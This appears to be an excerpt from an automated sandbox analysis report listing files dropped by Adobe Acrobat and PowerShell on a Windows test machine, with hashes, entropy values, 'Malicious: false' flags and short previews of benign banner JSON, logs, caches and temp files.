Preview:	{"analyticsData":{"responseGUID":"0843c2c1-2736-4277-a55b-d24b9cfb012e","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736715887676,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.313237820819018
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHFDqGUJ92mSg1c2LjcWkHvR0YXoAvJfbPtdPeUkwRe9:YvXKX2T5LjIPUGDV8Ukee9
MD5:	E0D163B1F859B03CD54408E5993024E6
SHA1:	3471546815EA97DA0D8D0DA7055631ED0B008B69
SHA-256:	4E38D6F1F31E2460B11FC82AB42072A5A92BDF32DDF96DA21E16337D9A5FEC46
SHA-512:	DA78B6BFE521CF15FE327437285F32C7B3FD572F7ADFB85EA2124B5F2F1910A3DCF48B87473C5F55092D598B270BD67173BE005D11B0F6364C567D560E8461CB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0843c2c1-2736-4277-a55b-d24b9cfb012e","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736715887676,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.305411556322002
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHFDqGUJ92mSg1c2LjcWkHvR0YXoAvJf21rPeUkwRe9:YvXKX2T5LjIPUG+16Ukee9
MD5:	B1816318E6F7746867F233AB219DD42C
SHA1:	57A78EF10D2EDD3D373260AE33700AFF17726FC7
SHA-256:	D1E736B526E3DC345CBD65A2A1F692E84ED43D797E0E3D7F14E52DB2AA783640
SHA-512:	244006573ACECA9D5FFE9F309731BCE8DFE3E7E938D9B30F8AA7A59F2A667EA7FDA5AC67FD7AE3D2F481E55444616D9F88B26D8AFABE2427530A2C85B37614D8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0843c2c1-2736-4277-a55b-d24b9cfb012e","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736715887676,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.675791933072392
Encrypted:	false
SSDEEP:	24:Yv6X2T5XI5amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSi:YvPXSBgkDMUJUAh8cvMi
MD5:	4DEBEB3E911590C5FDF44D1EE0716B42
SHA1:	C23B33A155BF67407E5993C69C09E1BA24481B1D
SHA-256:	51562E3F56AEC3E9E7025BAFCD0F846D84FCDA945B7996296BB7DFFA34F42959
SHA-512:	ECF6AC8134A77BE4F7216CAFB99CB2EF3439121F2F67143FDFF98A0A66FE3775ABC4470E370CD6540A16E6203E5BA5ADC128406B4B40B189ABA05B0AD857AFED
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0843c2c1-2736-4277-a55b-d24b9cfb012e","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736715887676,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.280286999847141
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHFDqGUJ92mSg1c2LjcWkHvR0YXoAvJfshHHrPeUkwRe9:YvXKX2T5LjIPUGUUUkee9
MD5:	139F3660C8183448FC6DCCF658B4528B
SHA1:	27DBFCE170EE3305C29390F3F7C76C9E96EA8106
SHA-256:	446BFEFFBCD448DE8CE488BC62FCB93F0CFA169ED69828FBCB60DD11F51E6846
SHA-512:	D660D48F09145097DC4340E56AB94188659864885C7A456A1CCBEE03373BC1B4FB596E9BAC044819F782A776FAAFBD87FBA0F6E36BE6F2DBFC018843CD9DE102
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0843c2c1-2736-4277-a55b-d24b9cfb012e","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736715887676,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.281844570003957
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHFDqGUJ92mSg1c2LjcWkHvR0YXoAvJTqgFCrPeUkwRe9:YvXKX2T5LjIPUGTq16Ukee9
MD5:	B3034AC529079F667B794324E9C9CA1B
SHA1:	BCE2DB6D9056D9C738C3077D8964D1F44CC1015B
SHA-256:	F70E8130E52B3D88F2AC0FA27917C204AE97AC7515B569E95D9B6CEE372988CD
SHA-512:	EAA5E1140014AAA174F585CB12BB3058F7047148FC71F573B6B725CBF4D785EB413052C263F2F18493B2F76B0E7B9CE0C1968703AF961FCE99E5E4C5AF0C2AD6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0843c2c1-2736-4277-a55b-d24b9cfb012e","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736715887676,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.139168852672732
Encrypted:	false
SSDEEP:	24:YQGa08sB3ay9/PHaEKF1CH9VPjBZyj0SRvX4c5pgCm2kg2LSwCTvhGR3s4kL95m1:YD8gfKuBZEZXZpgd1gieJGR3FkJU9/
MD5:	40584065BE2B5E24A4794CA92EB2C808
SHA1:	7162F868680ACDC9EE219244A47A4800A5B35368
SHA-256:	AE9C6D8A563BEAAB3D7355E4F9D01C4389AB7F4DF035976964D6FFEB63A89B6D
SHA-512:	24CA15F0C9E16170F0D70243535E000F1F611CC4B08E2EE91B95CA49F6EF1CECAAB4787BE04B78B7C7467BDC350ED910518C7129D8B61482E7B80720278F4F9B
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"7f70a00893774d37f811ee5737e3cec2","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736540717000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"6a6f1547bef875c257be1ec7126a371e","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736540717000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"29cab4dd21fe90f56745bfaa79ea17db","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736540717000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"9804a9d4524c534623e0f47b0c1617e4","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736540717000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"fb5251f82f7199a2cf243eadb51d86ff","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736540717000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"990a802e4a82a42c356a51a2f4d85fcf","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 26, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 26
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.366614895835844
Encrypted:	false
SSDEEP:	24:TLBx/XYKQvGJF7urs9S6bqyKn6ylSTofcNqDulxEXKdqEKfS8EKfM1baNxEF:Tll2GL7msMcKTlS8fcsu/fIU
MD5:	5B85D95BFCB184F8735BCCFD036711F6
SHA1:	5016EA2338914F51439D9FFF9645AA7ADD2E18C1
SHA-256:	972F1B6BF7BCECA772ECCCD1912655B9CB15BECD21CD973EB09C94A3C87E3832
SHA-512:	08D648254C4A826D048120AADB4B90D8DAC4D16AD387526EEB05B165BEA3DB174B010BD6F51F31CE511E128F41390BBB4A506787CEB65A7E768EEB6E2A67BB1B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.841623467414104
Encrypted:	false
SSDEEP:	24:7+t6Z6bqyKn6ylSTofcNqDulxE+KdqEKfS8EKfM1banbqHnqLKufx/XYKQvGJF7U:7MgcKTlS8fcsu6fImqGufl2GL7msY
MD5:	21D0F2BA6070FE3D0DEA04ED452D53D2
SHA1:	3C9E8D876226DC0F6FA4A77D5C1606E9668B8BE7
SHA-256:	7DF78BE8A8906A342100444D9B1F09B200E9E1CAD8E585246B8A5E20A5A4840D
SHA-512:	CE77647B12BE5A71D768127A2CB762235549B8AA3FE6ECDC953B52FBD93266B183B5463165CD6019FF7E90F2FE31C1F3ED6FD9400A7A177F0CBD50D6897FB501
Malicious:	false
Preview:	.... .c......_............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.-.-.-.-.-.-.-.-.-.-.-........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgUWnWknZ+SUt1EG/NG7n9xQjs/Yyu:6a6TZ44ADEUWRnZpUTSxQo/K
MD5:	546C66C4C670A0222349DA1BB41A6216
SHA1:	21F7168ED06A327341B11C65711BAFCFB89599CE
SHA-256:	3676675659191A18A2B7A1EDB2B80B533FD2D04C1743EAB90E52972B483AC1A2
SHA-512:	B9A6DA7FEF8F4920965C1B841E5DE6029D245413C4F7BD3A79B6BE76306A7B5652BE4BA3B5A786116DC84B6A5D6EC4263F58E30CACA364D9B292731C9E2EDBCA
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSIbfc2a.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4841540457826223
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEWLKH:Qw946cPbiOxDlbYnuRK+bDW0
MD5:	51173613B1562302C6B59D83E4EEF582
SHA1:	8DD64CCFFF8E4F4844EC3FD28DFE8ACE3F227DE5
SHA-256:	3DA3739B002C354A2C4929A54CC10EBCD7224DEF6DBF17F0B0D628824833B484
SHA-512:	76F2C2C03DC05B32D147AF9147DA8A0FEE6827D0AE966CC426E3C9D695D72438B0830946680FED1C2ED423630115D90F2F787546803A73FCB4C353372EF385E8
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.5.:.2.5.:.1.5. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b0ln1vt2.ye3.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gr35zn0e.qe3.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 15-25-08-831.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.330589339471305
Encrypted:	false
SSDEEP:	384:usQfQQjZyDzISMjg0svDBjA49Y0/sQHpMVhrSWD0Wny6WxIWd44mJmtaEKHvMMwh:Ink
MD5:	5BC0A308794F062FEC40F3016568DF9F
SHA1:	14149448191AB45E99011CBBEF39F2A9A03A0D15
SHA-256:	00D910C49F2885F6810F4019A916EFA52F12881CBF1525853D0C184E1B796473
SHA-512:	CF12E0787C1C2A129BE61C4572CF8A28FC48039B2ADFD1816E58078D8DD900771442F210C545AD9B3F4EAEC23F6F1480F7BBF262B6A631160B20D0785BC17242
Malicious:	false
Preview:	SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:171+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.356611866812683
Encrypted:	false
SSDEEP:	384:3g6gUgnMW1rO9c6dtr+dHpA8SdQ8PivrmiKwXFZHbHhzgvg+4ctTCs5jOjqP7lrV:gF6
MD5:	501257EAC3C61544611105858A7E4933
SHA1:	8125C80958380E737E972C9A59BF0E2997707325
SHA-256:	C4C8F5E4B53BF18279296FD68A11FDB1B44F092F807C5B12E039A6CF05408B7C
SHA-512:	3A644B403C5DAE7E414E6B7F4F0D71287D79A676A58D22CB4E79F2BBA64468CDA0E691FB860340CA4B2B50A6FB11AB40C744842FECF05C7B78FF4FB3B7DF78F0
Malicious:	false
Preview:	SessionID=18bf12de-10f4-4fbb-977a-62110d83b284.1736540708843 Timestamp=2025-01-10T15:25:08:843-0500 ThreadID=1616 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=18bf12de-10f4-4fbb-977a-62110d83b284.1736540708843 Timestamp=2025-01-10T15:25:08:843-0500 ThreadID=1616 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=18bf12de-10f4-4fbb-977a-62110d83b284.1736540708843 Timestamp=2025-01-10T15:25:08:843-0500 ThreadID=1616 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=18bf12de-10f4-4fbb-977a-62110d83b284.1736540708843 Timestamp=2025-01-10T15:25:08:844-0500 ThreadID=1616 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=18bf12de-10f4-4fbb-977a-62110d83b284.1736540708843 Timestamp=2025-01-10T15:25:08:844-0500 ThreadID=1616 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.377119895442226
Encrypted:	false
SSDEEP:	192:icbENIn5cbqlcbgIpLcbJcb4I5jcbKcbQIrxcbm0icbdIPlcbd:8qnXopZ50royP2
MD5:	FAE4C606176887DFA20F2519E75D8F7A
SHA1:	9C81144A997CDD0692CADC22F2207B4C35ED65CE
SHA-256:	2BAAA7CFF63A181C94018ACC00B30FF5AEDF6DD509AF71044B20318E077DD33C
SHA-512:	1F9AD0FB565CE22F85C71D30C156EAE2263FDB5ED9FAD96339745A25167DBB0F785E220F22D74198D6B41B7063EC4E51EB47954AE1C46CEB268BFBB5853265EA
Malicious:	false
Preview:	05-10-2023 10:01:02:.---2---..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:01:02:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\439e58f5-f949-4fc4-9a46-9d350248030e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\69b4ebdd-7241-4bf8-b6be-5b2819d2125f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/M7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZjZwYIGNPJe:RB3mlind9i4ufFXpAXkrfUs03WLaGZje
MD5:	716C2C392DCD15C95BBD760EEBABFCD0
SHA1:	4B4CE9C6AED6A7F809236B2DAFA9987CA886E603
SHA-256:	DD3E6CFC38DA1B30D5250B132388EF73536D00628267E7F9C7E21603388724D8
SHA-512:	E164702386F24FF72111A53DA48DC57866D10DAE50A21D4737B5687E149FF9D673729C5D2F2B8DA9EB76A2E5727A2AFCFA5DE6CC0EEEF7D6EBADE784385460AF
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\cf0cad8e-00c2-4e7c-aaf0-b720b0e4b0aa.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
